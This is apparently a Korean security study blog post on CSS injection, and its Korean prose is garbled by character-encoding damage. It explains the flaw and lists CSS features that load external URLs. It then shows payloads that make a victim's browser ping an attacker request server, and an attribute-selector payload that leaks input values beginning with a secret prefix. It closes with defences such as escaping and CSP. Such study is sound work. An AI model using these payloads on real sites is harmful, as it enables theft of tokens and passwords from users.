[2025-08-13] CSS Injection
π¦₯ λ³Έλ¬Έ
μ μ λ° κ°λ
CSS Injectionμ μ¬μ©μ μ λ ₯κ°μ CSS μ½λμ μ§μ μ½μ ν λ λ°μνλ μ·¨μ½μ . UI λ³μ‘°, λ°μ΄ν° νμ·¨, λΈλΌμ°μ λμ λ³κ²½ λ±μ μνν μ μλ€.
- λ°μ΄ν°λ‘λ CSRF Token, νΌν΄μμ API Key λ± CSS μ νμλ₯Ό ν΅ν΄ ννμ΄ κ°λ₯ν λ°μ΄ν°λ§ νμ·¨ κ°λ₯.
- CSS μ νμλ‘ νν λΆκ°λ₯ν μ€ν¬λ¦½νΈ νκ·Έ λ΄ λ°μ΄ν°λ νμ·¨ λΆκ°
곡격 λ°©λ²
-
μμ μ½λ
<style> body { background-color: ${theme}; } </style> <h1>Hello, it's dreame. Interesting with CSS Injection?</h1> if '<' in theme: exit(0)
- μ¬μ©μμ μ
λ ₯
theme
μ΄ λ°°κ²½μμ κ²°μ
- μ¬μ©μμ μ
λ ₯
- μμ λ³κ²½
- μμ μ½λμμλ bodyμ λ°°κ²½ μλ§ λ³κ²½μ΄ κ°λ₯ν¨
yellow; } h1 { color: red
κ°μ μ λ ₯νλ κ²½μ°h1
νκ·Έμ κΈμ¨ μ λ³κ²½ κ°λ₯
<style> body { background-color: yellow; } h1 { color: red; } </style> <h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
- IP Ping Back : Client-Side 곡격μ ν΅ν΄ λ°μ΄ν°λ₯Ό μΈλΆλ‘ νμ·¨νκΈ° μν΄μλ 곡격μμ μλ²λ‘ μμ²μ 보λ΄μΌ ν¨. Ping Backμ ν΅ν΄ μΈλΆ μμ² μ μ‘ κ°λ₯
-
μΈλΆ 리μμ€λ₯Ό λΆλ¬μ€λ κΈ°λ₯
CSS κ°μ ― μ€λͺ @import 'https://leaking.via/css-import-string';
μΈλΆ CSS νμΌμ λ‘λν©λλ€. λͺ¨λ μμ± μ€ κ°μ₯ μλ¨μ μμΉν΄μΌ νλ©°, κ·Έλ μ§ μμΌλ©΄ @import
λ 무μλ©λλ€.@import url(https://leaking.via/css-import-url);
url
ν¨μλ URLμ λΆλ¬μ€λ μν μ ν©λλ€. μν©μ λ°λΌμ μ νμ μΌλ‘ μ¬μ©ν μ μμ΅λλ€.background: url(https://leaking.via/css-background);
μμμ λ°°κ²½μ λ³κ²½ν λ μ¬μ©ν μ΄λ―Έμ§λ₯Ό λΆλ¬μ΅λλ€. @font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src); }
λΆλ¬μ¬ ν°νΈ νμΌμ μ£Όμλ₯Ό μ§μ ν©λλ€. background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2);
CSSμμ ν¨μλ₯Ό νΈμΆν λ ascii ννμ "url"
μ΄ μλ hex νν("\000075\000072\00006C"
)λ μ§μν©λλ€. -
yellow; background: url(βhttps://aaaaaa.request.attack.server/ping-backβ)
μ μ λ ₯νλ©΄ ν΄λΉ μλ²μ μμ²μ 보λ΄λ λ°©μμΌλ‘ IP ping back μν<style> body { background-color: yellow; background: url("https://aaaaaa.request.attack.server/ping-back"); } </style> <h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
-
- λ°μ΄ν° νμ·¨
-
μμ μ½λ
<style> body { background-color: ${theme}; } </style> <h1>Hello, it's dreame. Interesting with CSS Injection?</h1> <input readonly type="password" value="apple"> if '<' in theme: exit(0)
input
μμ μΆκ°
-
CSS Attribute Selector (νΉμ± μ νμ)
input[attr=value] {}
attr
μ΄value
μΈinput
μμμ λν μ€νμΌ μ§μ
ꡬ문 μ€λͺ [attr]
attr
μ΄λΌλ μ΄λ¦μ νΉμ±μ κ°μ§ μμλ₯Ό μ νν©λλ€.[attr=val]
attr
μ΄λΌλ μ΄λ¦μ νΉμ±κ°μ΄ μ ννvalue
μΈ μμλ₯Ό μ νν©λλ€.[attr~=value]
attr
μ΄λΌλ μ΄λ¦μ νΉμ±κ° μ€ μ ννvalue
κ° μλ μμλ₯Ό μ νν©λλ€.attr
νΉμ±μ 곡백μΌλ‘ ꡬλΆλ μ¬λ¬ κ°μ κ°μ κ°μ§ μ μμ΅λλ€.[attr^=value]
attr
μ΄λΌλ νΉμ±κ°μ κ°μ§κ³ μμΌλ©°, μ λμ¬λ‘value
κ° κ°μ ν¬ν¨λμ΄ μμΌλ©΄ μ΄ μμλ₯Ό μ νν©λλ€.[attr$=value]
attr
μ΄λΌλ νΉμ±κ°μ κ°μ§κ³ μμΌλ©°, μ λ―Έμ¬λ‘value
κ° κ°μ ν¬ν¨λμ΄ μμΌλ©΄ μ΄ μμλ₯Ό μ νν©λλ€. -
yellow; } input[value^=S3CR3T_] { background: url("https://aaaaaaa.request.dreamhack.games/lols"); }
μ½λλ₯Ό μ νλ©΄ input μμμ value μμ±μ μ λμ¬κ°S3CR3T_
μΌ λ ν΄λΉ μλ²λ‘ μμ² μ μ‘<style> body { background-color: yellow; } input[value^=S3CR3T_] { background: url("https://aaaaaaa.request.dreamhack.games/lols"); } </style> <h1>Hello, it's dreame. Interesting with CSS Injection?</h1> <input readonly type="password" value="apple"> if '<' in theme: exit(0)
-
input
νκ·Έμvalue
κ°μ μμλ΄λ κ²μ΄ μ μ€μνκ°?β
readonly
λλhidden input
μμμ λΉλ°λ²νΈ, ν ν°, μΏ ν° μ½λ, CSRF Token, μΈμ ν€ λ±μ λ£μ΄λλ κ²½μ°κ° λ§μβ 미리 μ±μλ μ΄λ©μΌ μΈμ¦ λ²νΈλ, κ΄λ¦¬μ λΉλ°λ²νΈ λ±μ νμ·¨ κ°
-
λμ λ°©λ²
- μ λ ₯ κ²μ¦ : CSS ꡬ문μ μ¬μ©μ μ λ ₯μ λ£μ§ μκ±°λ, λ°λμ νμ΄νΈλ¦¬μ€νΈλ‘ μ ν
- μΆλ ₯ μ μ΄μ€μΌμ΄ν : CSS 컨ν μ€νΈμ λ§λ escaping μ μ©. CSS.escape() μ¬μ©
- CSP μ μ© :
style-src
μμ±μself
λnonce
μ μ©
Leave a comment